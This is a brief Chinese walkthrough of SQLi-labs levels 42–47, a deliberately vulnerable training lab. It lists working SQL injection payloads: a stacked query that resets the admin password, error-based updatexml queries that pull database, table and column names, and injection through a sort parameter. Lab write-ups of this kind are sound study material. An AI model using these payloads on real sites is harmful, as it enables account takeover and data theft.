SQLi-labs-Master less-42~47

74 阅读1分钟

less-42

很像之前的二次注入,之前的方法是注册一个账号通过修改密码来修改另一个账号的密码,本题中没有注册,可以使用堆叠注入,第一步尝试闭合,username栏不行,password栏输入'or 1=1 -- we存在 注入 image.png 返回password栏输入1';update security.users set password='123456' where username='admin' -- qwe image.png 修改成功

image.png

当然这仅在知道账号用户名的前提下使用,所以知道注入点正常做法可以用updatexml,'or updatexml(1,concat("!",(select database()),"!"),1) -- qe

image.png 'or updatexml(1,concat("!",(select table_name from information_schema.tables where table_schema='security' limit 0,1),"!"),1) -- qe

image.png 'or updatexml(1,concat("!",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),"!"),1) -- qe

image.png 'or updatexml(1,concat("!",(select id from emails limit 0,1),"!"),1) -- qe

image.png

less-43

')or 1=1 -- qwe与上关类似闭合问题

less-44

闭合与42关相同,但报错注入无回显,可以使用盲注的方法,参考之前的相同的盲注

less-45

闭合问题')or 1=1 -- qwe与上关类似

less-46

sort传参?sort=1 and updatexml(1,concat("!",(select database()),"!"),1) -- qew以此类推 image.png

less-47

与上关类似闭合问题?sort=1' and updatexml(1,concat("!",(select database()),"!"),1) -- qew